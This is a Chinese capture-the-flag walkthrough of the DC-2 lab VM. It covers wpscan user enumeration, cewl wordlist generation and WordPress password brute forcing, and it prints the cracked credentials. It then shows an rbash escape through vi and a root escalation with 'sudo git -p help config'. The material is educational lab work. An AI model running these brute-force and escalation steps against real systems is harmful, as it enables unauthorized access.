靶机 DC-2

DC_2

信息搜集

存活检测

image-20231022160608111

详细扫描

image-20231022160939629

添加 host

image-20231022161138418

后台网页扫描

image-20231022161219919

网页信息搜集

  • 主页面

    找到 flag1,提示使用 cewl 密码生成工具

    image-20231022163316142

  • wp 登陆界面

    image-20231022161248567

  • 使用 wpscan 扫描用户

    wpscan --url http://dc-2/ --enumerate u 
    

    扫描出用户 tom、jerry、admin

    image-20231022161613540

  • 将三个用户名写入文件中以供密码爆破

    image-20231022162750849

  • 根据网页信息生成密码字典

    cewl http://dc-2/ -w mima.txt
    

    image-20231022162647110

  • 爆破

    wpscan --url http://dc-2/ --passwords mima.txt --usernames username
    
  • 成功爆破出 tom 和 jerry 的密码

    jerry,adipiscing
    tom,parturient
    

    image-20231022162826047

  • 网页登录

    image-20231022163019101

  • flag2

    image-20231022163105437

    image-20231022163436639

    提示可以使用其他方法

ssh 登录

  • 使用之前爆破出的账密

    尝试 jerry

    image-20231022163924374

    登陆失败

  • 尝试 tom

    image-20231022164024890

    成功登录

  • 找到第三个 flag,但查看时显示被 rbash 限制

    image-20231022164114605

    rbash(Restricted Bash)是一种受限制的交互式 shell,它是 Bash shell 的一个变种。rbash 提供了一种限制用户的能力,以便他们只能在受限的环境中执行特定的操作

  • 查看可以使用的命令

    compgen -c
    

    image-20231022164253510

  • 发现可以使用 vi 命令

    image-20231022164348020

  • 尝试使用 vi 命令查看 flag3

    image-20231022165142813

    提示 tom 使用 su

  • su

    还是被限制

部分提权

  • rbash 绕过

    # vi进入末行之后
    :set shell=/bin/bash
    :shell
     
    # 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin/
    

    image-20231022172557186

  • 切换 jerry 用户

    成功切换

    image-20231022172855484

  • jerry 家目录下拿到第四个 flag

    image-20231022173059596

    提示 git

提权

  • sudo -l 查看权限

    image-20231022173243685

  • [git 提权](git | GTFOBins)

    sudo git -p help config
    !/bin/sh
    

    image-20231022174311270

    成功 root

  • final-flag

    image-20231022174236466

总结

  • wpscan 扫描用户名、爆破
  • cewl 根据网页搜集密码
  • rbash 绕过
  • git 提权
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值